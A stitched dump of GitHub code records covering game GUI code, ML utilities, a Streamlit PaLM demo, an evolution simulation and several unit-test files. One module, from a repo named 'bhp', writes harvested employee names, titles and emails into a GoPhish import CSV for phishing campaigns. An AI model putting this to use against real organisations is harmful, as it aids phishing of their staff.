width/self._unit_width )\n\t\thIdxs = int( height/self._unit_width )\n\t\tfor wIdx in range( wIdxs ):\n\t\t\tfor hIdx in range( hIdxs ):\n\t\t\t\tnum = random.choice( [8,9,10] )\n\t\t\t\tstartPos = ( self._unit_width*wIdx, self._unit_width*hIdxs )\n\t\t\t\tendPos = ( self._unit_width*( wIdx + 1 ), self._unit_width*( hIdxs + 1 ) )\n\t\t\t\t\n\t# ----------------------------------------------------------------\n\t# public\n\t# ----------------------------------------------------------------\n\tdef onEvent( self, eventMacro, *args ) :\n\t\tself.__triggers[eventMacro]( *args )\n\t\t\n\tdef show( self ) :\n\t\t#for pySelector in self.__pyCampGroup.pySelectors:\n\t\t#\tpySelector.selected = False\n\t\tself.__pyFadeText.text = \"\"\n\t\tself.__layoutStarts()\n\t\tRootGUI.show( self )\n\n\tdef hide( self ) :\n\t\tRootGUI.hide( self )\n","repo_name":"mudsave/csol2_enities_45541","sub_path":"client/guis/loginuis/campselector/CampSelector.py","file_name":"CampSelector.py","file_ext":"py","file_size_in_byte":8458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27831540716","text":"import os\nimport random\n\nIMAGES_DIR = \"data\\\\train\\\\images\"\nft = open(\"data\\\\train\\\\train.txt\", 'w')\nfv = open(\"data\\\\train\\\\valid.txt\", 'w')\n\nfor root, dirs, files in os.walk(IMAGES_DIR):\n for file in files:\n n = random.random()\n if n > 0.15:\n ft.write(os.path.abspath(os.path.join(root, file)) + '\\n')\n else:\n fv.write(os.path.abspath(os.path.join(root, file)) + '\\n')\n\nft.close()\nfv.close()\n","repo_name":"Alidar40/EvrazChallenge","sub_path":"build_img_pathes.py","file_name":"build_img_pathes.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74269508381","text":"# Taken from https://github.com/Britefury/cutmix-semisup-seg\n\nimport numpy as np\nimport torch\n\n\nclass BoxMaskGenerator:\n def __init__(self, prop_range, box_count=1, random_aspect_ratio=True, prop_by_area=True,\n within_bounds=True):\n if isinstance(prop_range, float):\n prop_range = (prop_range, prop_range)\n self.prop_range = prop_range\n self.n_boxes = box_count\n self.random_aspect_ratio = random_aspect_ratio\n self.prop_by_area = prop_by_area\n self.within_bounds = within_bounds\n\n @torch.no_grad()\n def __call__(self, batch_size, shape, rng=np.random, device=None):\n \"\"\"Generates masks with one or more boxes each.\n\n The average box aspect ratio equals that of the mask.\n\n >>> boxmix_gen = BoxMaskGenerator((0.25, 0.25))\n >>> params = boxmix_gen(256, (32, 32))\n\n Args:\n batch_size: Number of masks to generate.\n shape: Mask shape as a `(height, width)` tuple\n rng (optional): np.random.RandomState instance\n\n Returns:\n masks: `(N, 1, H, W)` array of masks\n \"\"\"\n bshape = (batch_size, self.n_boxes)\n if self.prop_by_area:\n # Choose the proportion of each mask that should be above the threshold\n mask_prop = rng.uniform(*self.prop_range, size=bshape)\n if self.random_aspect_ratio:\n y_props = np.exp(rng.uniform(0.0, 1.0, size=bshape) * np.log(mask_prop))\n x_props = mask_prop / y_props\n else:\n y_props = x_props = np.sqrt(mask_prop)\n zero_mask = mask_prop == 0.0 # to avoid NaNs\n y_props[zero_mask], x_props[zero_mask] = 0, 0\n else:\n if self.random_aspect_ratio:\n y_props = rng.uniform(*self.prop_range, size=bshape)\n x_props = rng.uniform(*self.prop_range, size=bshape)\n else:\n x_props = y_props = rng.uniform(*self.prop_range, size=(batch_size, self.n_boxes))\n max_size = np.array(shape) * np.sqrt(1 / self.n_boxes)\n sizes = np.round(np.stack([y_props, x_props], axis=2) * max_size[None, None, :])\n\n if self.within_bounds:\n positions = np.round(\n (np.array(shape) - sizes) * rng.uniform(0.0, 1.0, size=sizes.shape))\n rectangles = np.append(positions, positions + sizes, axis=2)\n else:\n centres = np.round(np.array(shape) * rng.uniform(0.0, 1.0, size=sizes.shape))\n rectangles = np.append(centres - sizes * 0.5, centres + sizes * 0.5, axis=2)\n\n masks = torch.ones((batch_size, *shape), device=device, dtype=torch.bool)\n for i, sample_rectangles in enumerate(rectangles):\n for y0, x0, y1, x1 in sample_rectangles:\n masks[i, int(y0):int(y1), int(x0):int(x1)] = 0\n return masks\n","repo_name":"Ivan1248/vidlu","sub_path":"vidlu/transforms/jitter/cutmix.py","file_name":"cutmix.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"69"} +{"seq_id":"15293595979","text":"from fractions import Fraction\n\ndef sum_fracts(lst):\n res = 0\n for i in lst:\n res =res + Fraction(i[0],i[1])\n if res.numerator == 0:\n return None\n if res.denominator != 1: \n return [res.numerator, res.denominator] \n else:\n return res.numerator\n\ndef sum_fractsB(lst):\n if lst:\n ret = sum(Fraction(a, b) for (a, b) in lst)\n return ret.numerator if ret.denominator == 1 else [ret.numerator, ret.denominator]","repo_name":"ictcubeMENA/Training_one","sub_path":"codewars/6kyu/Irreducible Sum of Rationals/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21423099853","text":"import logging\n\nfrom rich.console import Console\nfrom rich.logging import RichHandler\n\n# Setting up logging with rich\nFORMAT = \"%(message)s\"\nlogging.basicConfig(level=\"NOTSET\", format=FORMAT, datefmt=\"[%X]\", handlers=[RichHandler()])\n\nlog = logging.getLogger(\"rich\")\n\n# Initializing console for rich\nconsole = Console()\n\n\nclass Output:\n def __init__(self, output_type, result, info, outputinfo) -> None:\n self.output_type = output_type\n self.result = result\n self.info = info\n self.outputinfo = outputinfo\n\n def output(self) -> None:\n if self.output_type == \"gophish\":\n self.gophish()\n elif self.output_type == \"txt\":\n self.txt()\n elif self.output_type == \"stdout\":\n self.stdout()\n\n def stdout(self) -> None:\n if self.info == \"email\":\n for user in self.result:\n console.print(user[\"email\"])\n elif self.info == \"name\":\n for user in self.result:\n console.print(user[\"name\"])\n elif self.info == \"title\":\n for user in self.result:\n console.print(user[\"title\"])\n\n def gophish(self) -> None:\n with open(self.outputinfo, \"w\") as f:\n f.write(\"First Name,Last Name,Position,Email\")\n for user in self.result:\n if len(user[\"name\"].split(\" \")) == 3 and user[\"name\"].split(\" \")[2]:\n f.write(\n f'{user[\"name\"].split(\" \")[0]},{user[\"name\"].split(\" \")[2]},{user[\"title\"]},{user[\"email\"]}\\n'\n )\n elif len(user[\"name\"].split(\" \")) == 2 and user[\"name\"].split(\" \")[1]:\n f.write(\n f'{user[\"name\"].split(\" \")[0]},{user[\"name\"].split(\" \")[1]},{user[\"title\"]},{user[\"email\"]}\\n'\n )\n else:\n log.info(f\"{user['name']} has no last name\")\n\n def txt(self) -> None:\n with open(self.outputinfo, \"w\") as f:\n if self.info == \"email\":\n for user in self.result:\n f.write(f\"{user['email'].lower()}\\n\")\n elif self.info == \"name\":\n for user in self.result:\n f.write(f\"{user['name']}\\n\")\n elif self.info == \"title\":\n for user in self.result:\n f.write(f\"{user['title']}\\n\")\n","repo_name":"puzzlepeaches/bhp","sub_path":"bhp/lib/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"13869800434","text":"import os\nimport unittest\nfrom TesasSemble.preprocessing import GraphConstructor,debruijn\n\nclass Testpreprocessing(unittest.TestCase):\n\tdef setUp(self):\n\t\t# files\n\t\tpath_ = '/'.join(os.path.realpath(\"__file__\").split('/')[:-1])\n\t\tself.g1 = os.path.join(path_,'tests/data/fastq_test/S0.fastq')\n\t\tself.g2 = os.path.join(path_,'tests/data/fastq_test/S1.fastq')\n\t\tself.g3 = os.path.join(path_,'tests/data/fastq_test/S2.fastq')\n\t\t# seq test\n\t\tself.seq_truth = [('CGA', 'GAT'),('GAT', 'ATA'),\n\t\t\t\t\t\t ('ATA', 'TAT'),('TAT', 'ATA'),\n\t\t\t\t\t\t ('AGC', 'GCC'),('GCC', 'CCT'),\n\t\t\t\t\t\t ('CCT', 'CTC'),('CTC', 'TCT')]\n\t\tself.test = ['CGATATA','AGCCTCT']\n\n\t\tpass\n\n\tdef test_GraphConstructor(self):\n\n\t\t# all fit \n\t\tG_RdBu = GraphConstructor().fit([self.g1,self.g2,self.g3])\n\t\tG1_RdBu = G_RdBu.condition_graph(self.g1)\n\t\tG2_RdBu = G_RdBu.condition_graph(self.g2)\n\t\tG3_RdBu = G_RdBu.condition_graph(self.g3)\n\t\t# single\n\t\tG1_RdBu_single, node_map = GraphConstructor().fit_single([self.g1,self.g2,self.g3],self.g1)\n\t\tG2_RdBu_single, node_map = GraphConstructor().fit_single([self.g1,self.g2,self.g3],self.g2, nodes=node_map)\n\t\tG3_RdBu_single, node_map = GraphConstructor().fit_single([self.g1,self.g2,self.g3],self.g3, nodes=node_map)\n\t\t# tests \n\t\tself.assertEqual(G1_RdBu == G2_RdBu, False)\n\t\tself.assertEqual(G1_RdBu_single == G2_RdBu_single, False)\n\t\tself.assertEqual(G1_RdBu.calculate_coverage(), G1_RdBu_single.calculate_coverage())\n\t\tself.assertEqual(G2_RdBu.calculate_coverage(), G2_RdBu_single.calculate_coverage())\n\t\tself.assertEqual(G1_RdBu.calculate_coverage(), G3_RdBu.calculate_coverage())\n\t\tself.assertEqual(G1_RdBu_single.calculate_coverage(),G3_RdBu_single.calculate_coverage())\n\t\tself.assertEqual(G1_RdBu.calculate_coverage(), G1_RdBu_single.calculate_coverage())\n\n\tdef test_debruijn(self):\n\n\t\tself.assertListEqual(sorted(self.seq_truth),\n\t\t\t\t \t\t sorted(debruijn(self.test,4)))\n\n","repo_name":"cameronmartino/TesasSemble","sub_path":"tests/test_preprocessing.py","file_name":"test_preprocessing.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"39647228527","text":"import streamlit as st\nfrom PIL import Image\nfrom src.utils import *\nfrom src.vertex import *\n\nst.set_page_config(\n page_title=\"Vertex PaLM Text Generation API\",\n page_icon=\":robot:\",\n layout=\"centered\",\n initial_sidebar_state=\"expanded\",\n menu_items={\n 'About': \"# This app shows you how to use Vertex PaLM Text Generator API\"\n }\n)\n\n#creating session states\ncreate_session_state()\n\n\n\nimage = Image.open('./image/palm.jpg')\nst.image(image)\nst.title(\":red[PaLM 2] :blue[Vertex AI] Text Generation\")\n\nwith st.sidebar:\n image = Image.open('./image/sidebar_image.jpg')\n st.image(image)\n st.markdown(\"<h2 style='text-align: center; color: red;'>Setting Tab</h2>\", unsafe_allow_html=True)\n\n\n st.write(\"Model Settings:\")\n\n #define the temeperature for the model\n temperature_value = st.slider('Temperature :', 0.0, 1.0, 0.2)\n st.session_state['temperature'] = temperature_value\n\n #define the temeperature for the model\n token_limit_value = st.slider('Token limit :', 1, 1024, 256)\n st.session_state['token_limit'] = token_limit_value\n\n #define the temeperature for the model\n top_k_value = st.slider('Top-K :', 1,40,40)\n st.session_state['top_k'] = top_k_value\n\n #define the temeperature for the model\n top_p_value = st.slider('Top-P :', 0.0, 1.0, 0.8)\n st.session_state['top_p'] = top_p_value\n\n if st.button(\"Reset Session\"):\n reset_session()\n\n\n\nwith st.container():\n st.write(\"Current Generator Settings: \")\n # if st.session_state['temperature'] or st.session_state['debug_mode'] or :\n st.write (\"Temperature: \",st.session_state['temperature'],\" \\t \\t Token limit: \",st.session_state['token_limit']\n ,\" \\t \\t Top-K: \",st.session_state['top_k']\n ,\" \\t \\t Top-P: \",st.session_state['top_p']\n ,\" \\t \\t Debug Model: \",st.session_state['debug_mode'])\n\n\n prompt = st.text_area(\"Add your prompt: \",height = 100)\n if prompt:\n st.session_state['prompt'].append(prompt)\n st.markdown(\"<h3 style='text-align: center; color: blue;'>Generator Model Response</h3>\", unsafe_allow_html=True)\n with st.spinner('PaLM is working to generate, wait.....'):\n response = get_text_generation(prompt=prompt, temperature = st.session_state['temperature'],\n max_output_tokens = st.session_state['token_limit'],\n top_p = st.session_state['top_p'],\n top_k = st.session_state['top_k'])\n st.session_state['response'].append(response)\n st.markdown(response)\n","repo_name":"GoogleCloudPlatform/generative-ai","sub_path":"language/sample-apps/chat-streamlit/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":2498,"dataset":"github-code","pt":"69"} +{"seq_id":"1140306294","text":"from oslo_config import cfg\nfrom oslo_config import types\nfrom oslo_log import log as logging\n\nfrom congress.cfg_validator import parsing\nfrom congress.tests import base\n\nLOG = logging.getLogger(__name__)\n\n\nOPT_TEST = {\n u'positional': False, u'kind': u'BoolOpt',\n u'deprecated_reason': None,\n u'help': u'Enables or disables inter-process locks.',\n u'default': False, u'type': {u'type': u'Boolean'},\n u'required': False, u'sample_default': None,\n u'deprecated_opts': [{u'group': u'DEFAULT', u'name': None}],\n u'deprecated_for_removal': False,\n u'dest': u'disable_process_locking',\n u'secret': False, u'short': None, u'mutable': False,\n u'deprecated_since': None, u'metavar': None,\n u'advanced': False, u'name': u'disable_process_locking'}\nDICT_NS_TEST = {\n u'DEFAULT': {u'object': None, u'namespaces': []},\n u'oslo_concurrency': {\n u'object': None,\n u'namespaces': [[u'oslo.concurrency', [OPT_TEST]]]}}\n\n\nclass TestParsing(base.TestCase):\n \"\"\"Tests for the unmarshaling of options by the driver\"\"\"\n\n def test_add_namespace(self):\n \"\"\"Test for adding a namespace\"\"\"\n conf = cfg.ConfigOpts()\n initial_keys_len = len(conf.keys())\n parsing.add_namespace(conf, DICT_NS_TEST, 'abcde-12345')\n keys = conf.keys()\n self.assertEqual(initial_keys_len + 1, len(keys))\n self.assertIn(u'oslo_concurrency', keys)\n self.assertIsNotNone(\n conf.get(u'oslo_concurrency').get(u'disable_process_locking'))\n\n def test_construct_conf_manager(self):\n \"\"\"Test for building a conf manager\"\"\"\n initial_keys_len = len(cfg.ConfigOpts().keys())\n conf = parsing.construct_conf_manager([DICT_NS_TEST])\n self.assertIsInstance(conf, cfg.ConfigOpts)\n keys = conf.keys()\n self.assertEqual(initial_keys_len + 1, len(keys))\n self.assertIn(u'oslo_concurrency', keys)\n\n def test_make_group(self):\n \"\"\"Test for parsing a group\"\"\"\n grp = parsing.make_group('group', 'group_title', 'group help')\n self.assertIsInstance(grp, cfg.OptGroup)\n self.assertEqual(\"group\", grp.name)\n self.assertEqual(\"group_title\", grp.title)\n\n def test_make_opt(self):\n \"\"\"Test for parsing an option\"\"\"\n descr = {\n u'positional': False,\n u'kind': u'Opt',\n u'deprecated_reason': None,\n u'help': u'Help me',\n u'default': None,\n u'type': {u'type': u'String'},\n u'required': False, u'sample_default': None,\n u'deprecated_opts': [], u'deprecated_for_removal': False,\n u'dest': u'name',\n u'secret': False,\n u'short': None,\n u'mutable': False,\n u'deprecated_since': None,\n u'metavar': None,\n u'advanced': False,\n u'name': u'name'}\n opt = parsing.make_opt(descr, 'abcd-1234', 'efgh-5678')\n self.assertIsInstance(opt, parsing.IdentifiedOpt)\n self.assertEqual(\"name\", opt.name)\n self.assertEqual('abcd-1234', opt.id_)\n self.assertEqual('efgh-5678', opt.ns_id)\n\n def test_make_type(self):\n \"\"\"Test for parsing a type\"\"\"\n typ1 = parsing.make_type({u'type': u'String'})\n self.assertIsInstance(typ1, types.String)\n typ2 = parsing.make_type({u'type': u'Integer'})\n self.assertIsInstance(typ2, types.Integer)\n typ3 = parsing.make_type(\n {u'item_type': {u'type': u'Boolean'}, u'type': u'List'})\n self.assertIsInstance(typ3, types.List)\n self.assertIsInstance(typ3.item_type, types.Boolean)\n","repo_name":"openstack-archive/congress","sub_path":"congress/tests/cfg_validator/test_parsing.py","file_name":"test_parsing.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"69"} +{"seq_id":"16876983832","text":"from xml.etree.ElementTree import Element\n\nfrom frappe.model.document import Document\nfrom trebelge.TRUBLCommonElementsStrategy.TRUBLCommonElement import TRUBLCommonElement\n\n\nclass TRUBLExchangeRate(TRUBLCommonElement):\n _frappeDoctype: str = 'UBL TR ExchangeRate'\n\n def process_element(self, element: Element, cbcnamespace: str, cacnamespace: str) -> Document:\n pass\n\n def process_elementasdict(self, element: Element, cbcnamespace: str, cacnamespace: str) -> dict:\n frappedata: dict = {}\n # ['SourceCurrencyCode'] = ('cbc', 'sourcecurrencycode', 'Zorunlu(1)')\n sourcecurrencycode_: Element = element.find('./' + cbcnamespace + 'SourceCurrencyCode')\n if sourcecurrencycode_ is not None:\n if sourcecurrencycode_.text is not None:\n frappedata['sourcecurrencycode'] = sourcecurrencycode_.text.strip()\n # ['TargetCurrencyCode'] = ('cbc', 'targetcurrencycode', 'Zorunlu(1)')\n targetcurrencycode_: Element = element.find('./' + cbcnamespace + 'TargetCurrencyCode')\n if targetcurrencycode_ is not None:\n if targetcurrencycode_.text is not None:\n frappedata['targetcurrencycode'] = targetcurrencycode_.text.strip()\n # ['CalculationRate'] = ('cbc', 'calculationrate', 'Zorunlu(1)')\n calculationrate_: Element = element.find('./' + cbcnamespace + 'CalculationRate')\n if calculationrate_ is not None:\n if calculationrate_.text is not None:\n frappedata['calculationrate'] = calculationrate_.text.strip()\n # ['Date'] = ('cbc', 'date', 'Seçimli (0...1)')\n date_: Element = element.find('./' + cbcnamespace + 'Date')\n if date_ is not None:\n if date_.text is not None:\n frappedata['date'] = date_.text.strip()\n\n return frappedata\n","repo_name":"Framras/trebelge","sub_path":"trebelge/TRUBLCommonElementsStrategy/TRUBLExchangeRate.py","file_name":"TRUBLExchangeRate.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"758000751","text":"# My code\nfrom world import *\n\n# Third-party APIs\nimport numpy as np\n\n# Standard libs\nimport math, random\n\n# Time shift per frame\ndt = 0.125\n\nclass Food(Actor):\n def __init__(self, pos, amt = None):\n if amt == None:\n # Choose a random amount of food value\n amt = math.sqrt(np.random.normal(0, 0.25)**2)\n\n super(Food, self).__init__(pos, amt)\n\n\nclass EvoWorld(World):\n \n def __init__(self):\n super(EvoWorld, self).__init__()\n self.graveyard = []\n\n \nclass Critter(Character):\n\n def __init__(self, pos, gene=None):\n # Provide a DNA sequence if necessary\n g = gene\n if gene == None:\n g = Critter.random_gene()\n \n # State is {vel, facing, awareness, health, reccurent_state}\n state = (0, random.random()*2*math.pi, 0.5, 1.0, 0)\n\n super(Critter, self).__init__(pos, gene = g, init_state = state)\n\n self.age = 0\n\n def random_gene():\n \"\"\" Creates a genetic code in the form of a neural network\n \"\"\"\n # Creatures get their health state and what they can see\n # inputs: < health, food_seen, critters_seen >\n\n # Using this, they compute what to do (how much awareness, how to move)\n # outputs: < forward_speed, rotation, awareness >\n\n genome = []\n\n # Provide a random mutation parameter (a mutator)\n genome.append(math.sqrt(np.random.normal(0, 1)**2))\n\n # Give a two-layer network.\n genome.append(np.random.normal(0, 1, size=(5, 4)))\n genome.append(np.random.normal(0, 1, size=(4, 5)))\n\n return genome\n\n def mutate_gene(self, gene=None):\n if gene == None:\n gene = self.dna\n\n genome = []\n \n # Mutate the mutator\n genome.append(abs(gene[0] + math.sqrt(np.random.normal(0, 1)**2)))\n \n # Mutate the network\n genome.append(gene[1] + np.random.normal(0, gene[0], size=(5,4)))\n genome.append(gene[2] + np.random.normal(0, gene[0], size=(4,5)))\n\n return genome\n\n def net_output(self):\n world = self.world\n state = self.state\n\n rot = state[1]\n aware = state[2]\n\n seen_critters = 0\n seen_food = 0\n for a in world.actors:\n d = np.dot(np.array([math.cos(rot), math.sin(rot)]), a.pos - self.pos)\n if d < aware * np.linalg.norm(a.pos-self.pos):\n continue\n elif type(a) is Critter:\n seen_critters += 1\n elif type(a) is Food:\n seen_food += 1\n\n x = np.array([\n # Current health\n self.state[3],\n # Number of visible food units\n seen_food,\n # Number of critters seen\n seen_critters,\n # Recurrent state parameter\n state[3]\n ])\n\n # Propagate across all layers\n Wx = np.matmul(self.dna[1], x)\n y = np.vectorize(lambda v : 0 if v < -512 else 1.0 / (1.0 + math.exp(-v)))(Wx)\n y = np.matmul(self.dna[2], y)\n \n return y\n\n \n def act(self):\n # Compute an action vector\n action = self.net_output()\n\n # Velocity bounded between 0 and 1\n vel = 5.0 * (1.5 * (1.0 / (1.0 + math.exp(-action[0])) * dt) - 0.5)\n \n # Allow any rotation change\n rot = self.state[1] + action[1]\n while rot >= 2*math.pi:\n rot -= 2*math.pi\n while rot < 0:\n rot += 2*math.pi\n \n # Recalculate awareness (cosine of angle btween forward and vision border)\n awareness = 2.0*(1.0 / (1.0 + math.exp(-action[2]))) - 1.0\n\n # Move the creature\n self.pos = np.clip(self.pos + np.array([vel*math.cos(rot), vel*math.sin(rot)]), -32, 32)\n\n health = self.state[3]\n\n for a in self.world.actors:\n if type(a) is Food and np.linalg.norm(a.pos - self.pos) < 1.0:\n # Feed on the food if within 0.5 units of the food\n self.world.rem_actor(a)\n health += a.state\n\n # Replenish the food supply\n #self.world.add_actor(Food(np.random.uniform(-32, 32, size=(2,))))\n\n # Health gradually deteriorates (faster when moving)\n health -= (0.01*abs(vel) + 0.01) * dt\n\n if health <= 0:\n # If dead, remove oneself from the world\n self.world.graveyard.append(self)\n self.world.rem_actor(self)\n elif health > 2:\n # If health is very good, make a baby\n health -= 1\n self.world.add_actor(Critter(self.pos, self.mutate_gene()))\n\n \n # Update the state\n self.state = (vel, rot, awareness, health)\n \n # Increase age\n self.age += dt\n\n def color(self):\n health = max(0, min(self.state[3], 1))\n return ('#' +\n \"{:02x}\".format(255 - int(255*health)) +\n \"{:02x}\".format(int(255*health)) +\n '00')\n\n def draw(self, plt):\n \n super(Critter, self).draw(plt)\n\n angle = self.state[1]\n aw_ang = math.acos(self.state[2])\n \n plt.plot(\n [self.pos[0], self.pos[0] + 2*math.cos(angle + aw_ang)],\n [self.pos[1], self.pos[1] + 2*math.sin(angle + aw_ang)],\n 'k-')\n\n plt.plot(\n [self.pos[0], self.pos[0] + math.cos(angle)],\n [self.pos[1], self.pos[1] + math.sin(angle)],\n 'k-')\n\n plt.plot(\n [self.pos[0], self.pos[0] + 2*math.cos(angle - aw_ang)],\n [self.pos[1], self.pos[1] + 2*math.sin(angle - aw_ang)],\n 'k-')\n\nn_surv = 4\nn_child = 2\nf_supply = 20\n\np_size = n_surv * (1 + n_child) + 3\n\nworld = EvoWorld()\n\nfor _ in range(p_size): \n world.add_actor(Critter(np.random.uniform(-32, 32, size=(2,))))\n\nfor _ in range(f_supply):\n world.add_actor(Food(np.random.uniform(-32, 32, size=(2,))))\n\nepoch=0\ncycle = 0\n\nprint('Begin')\np = 0\n\nwhile True:\n if any([type(a) is Critter for a in world.actors]):\n # There are still living beings\n world.run_cycle(epoch >= 0 and cycle%10 == 0)\n cycle += 1\n tmp = len([a for a in world.actors if type(a) is Critter])\n if tmp != p:\n if len(world.graveyard) > n_surv:\n # Cremate the inferior dead\n world.graveyard.remove(min(world.graveyard, key=lambda x : x.age))\n\n p = tmp\n print('popsize:', p)\n\n if len(world.actors) - p < f_supply and cycle % int(len(world.actors)):\n world.add_actor(Food(np.random.uniform(-32, 32, size=(2,))))\n\n else:\n print('End round', epoch+1)\n\n # Reset the world\n graves = world.graveyard\n \n # Get the best cases\n surv = list(reversed(sorted(world.graveyard, key=lambda x : x.age)))[:n_surv]\n print('highest age:', surv[0].age)\n\n # Add initial DNA samples\n genes = [s.dna for s in surv]\n\n # Make batches of children\n for i in range(n_child):\n genes += [s.mutate_gene() for s in surv]\n \n # Add random organisms to fill in the gap\n genes += [Critter.random_gene() for _ in range(p_size - n_surv*(1+n_child))]\n \n # Make a new world\n world = EvoWorld()\n \n # Add new organisms\n for g in genes:\n world.add_actor(Critter(np.random.uniform(-32, 32, size=(2,)), g))\n \n # Add food\n for _ in range(f_supply):\n world.add_actor(Food(np.random.uniform(-32, 32, size=(2,))))\n\n epoch += 1\n cycle = 0\n \nprint('Game over')\n\n","repo_name":"vimlord/SCSC-ML-Presentation-20171011","sub_path":"genetic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19585165542","text":"from flask import Flask\nimport unittest\n\nfrom app import app, db, Zipcode\n\n\nclass ZipcodeTest(unittest.TestCase):\n\n def setUp(self):\n \"\"\"\n Creates new test database\n \"\"\"\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./test_database.db'\n db.create_all()\n\n def tearDown(self):\n \"\"\"\n Dumps the db\n \"\"\"\n db.drop_all()\n\n @app.errorhandler(404)\n def internal_error(error):\n db.session.rollback()\n return 404\n\n def test_list(self):\n zipcode = Zipcode('14800210','Rua xxx','Araraquara','SP','Bairro')\n db.session.add(zipcode)\n db.session.commit()\n assert len(Zipcode.query.all()) == 1\n assert Zipcode.query.first().zip_code == '14800210'\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"anacampesan/cep_app_flask","sub_path":"zipcode_tests.py","file_name":"zipcode_tests.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"1642620695","text":"import pkg_resources\n\nimport pytest\n\nfrom version_helper import Version\n\n\ndef test_construction():\n \"\"\"Test the Version() constructor\"\"\"\n assert Version(1, 2, 3)\n assert Version(1, 2, 3, 'beta', 'a1b2c3d4')\n assert Version(1, 2, 3, None, 'build-246')\n\n\n@pytest.mark.parametrize(\n argnames=['version', 'expected'],\n argvalues=[\n [Version(1, 2, 3), '1.2.3'],\n [Version(1, 2, 3, 'alpha.1'), '1.2.3-alpha.1'],\n [Version(1, 2, 3, None, None), '1.2.3'],\n [Version(1, 2, 3, 'beta', 'a1b2c3d4'), '1.2.3-beta+a1b2c3d4'],\n [Version(1, 2, 3, None, 'build-246'), '1.2.3+build-246'],\n ],\n)\ndef test_dunder_methods(version, expected):\n \"\"\"Test the Version() dunder methods __str__ and __repr__\"\"\"\n assert version.__str__() == expected\n assert version.__repr__() == expected\n\n\n@pytest.mark.parametrize(\n argnames=['version_string', 'major', 'minor', 'patch', 'prerelease', 'build'],\n argvalues=[\n ['0.1.2', 0, 1, 2, None, None],\n ['1.2.3', 1, 2, 3, None, None],\n ['1.2.3-alpha', 1, 2, 3, 'alpha', None],\n ['1.2.3-alpha.1', 1, 2, 3, 'alpha.1', None],\n ['1.2.3-beta', 1, 2, 3, 'beta', None],\n ['1.2.3-beta.2', 1, 2, 3, 'beta.2', None],\n ['1.2.3-beta.2.dev', 1, 2, 3, 'beta.2.dev', None],\n ['1.2.3+gf0a9091', 1, 2, 3, None, 'gf0a9091'],\n ['1.2.3+4.gf0a9091', 1, 2, 3, None, '4.gf0a9091'],\n ['1.2.3+4.gf0a9091.dirty', 1, 2, 3, None, '4.gf0a9091.dirty'],\n ['1.2.3-alpha+gf0a9091', 1, 2, 3, 'alpha', 'gf0a9091'],\n ['1.2.3-alpha.1+gf0a9091', 1, 2, 3, 'alpha.1', 'gf0a9091'],\n ['1.2.3-alpha.1.dev+gf0a9091', 1, 2, 3, 'alpha.1.dev', 'gf0a9091'],\n ['1.2.3-alpha+4.gf0a9091', 1, 2, 3, 'alpha', '4.gf0a9091'],\n ['1.2.3-alpha.1+4.gf0a9091', 1, 2, 3, 'alpha.1', '4.gf0a9091'],\n ['1.2.3-alpha.1.dev+4.gf0a9091', 1, 2, 3, 'alpha.1.dev', '4.gf0a9091'],\n ['1.2.3-alpha+4.gf0a9091.dirty', 1, 2, 3, 'alpha', '4.gf0a9091.dirty'],\n ['1.2.3-alpha.1+4.gf0a9091.dirty', 1, 2, 3, 'alpha.1', '4.gf0a9091.dirty'],\n ['1.2.3-alpha.1.dev+4.gf0a9091.dirty', 1, 2, 3, 'alpha.1.dev', '4.gf0a9091.dirty'],\n ],\n)\ndef test_version_parser(version_string, major, minor, patch, prerelease, build):\n \"\"\"Version parser test\n\n The version string looks like the following schema:\n {major: int}.{minor: int}.{patch: int}[-{prerelease: str}][+{build: str}]\n \"\"\"\n version = Version.parse(version_string)\n assert version.major == major\n assert version.minor == minor\n assert version.patch == patch\n assert version.prerelease == prerelease\n assert version.build == build\n\n\n@pytest.mark.parametrize(\n argnames='version_string',\n argvalues=[\n '46467a2',\n '1.2-beta.1',\n '1.2.3.1',\n '1.2.3.4.5',\n '1.2.3.4-alpha.1',\n '1.2.3.beta.1',\n 'this.is.a.new.version',\n 'my-version',\n ],\n)\ndef test_version_parser_value_error(version_string):\n \"\"\"Raise error when parsing an invalid version string\n\n GIVEN some invalid version strings\n WHEN the string is parsed into a semantic version\n THEN a ValueError will be raised\n \"\"\"\n with pytest.raises(ValueError, match=f'\"{version_string}\" is not valid to Semantic Versioning Specification'):\n Version.parse(version_string)\n\n\n@pytest.mark.parametrize(\n argnames=['major', 'minor', 'patch', 'prerelease', 'build', 'core'],\n argvalues=[\n [0, 1, 2, None, None, '0.1.2'],\n [1, 2, 3, None, None, '1.2.3'],\n [1, 2, 3, 'beta.4', None, '1.2.3'],\n [1, 2, 3, None, 'build.321', '1.2.3'],\n [1, 2, 3, 'beta.4', 'build.321', '1.2.3'],\n ],\n)\ndef test_version_core(major, minor, patch, prerelease, build, core):\n \"\"\"Test the core property output of a Version object\"\"\"\n version = Version(major=major, minor=minor, patch=patch, prerelease=prerelease, build=build)\n assert version.core == core\n\n\n@pytest.mark.parametrize(\n argnames=[\n 'version_string', 'is_from_git_describe', 'expected_semver',\n 'expected_version'\n ],\n 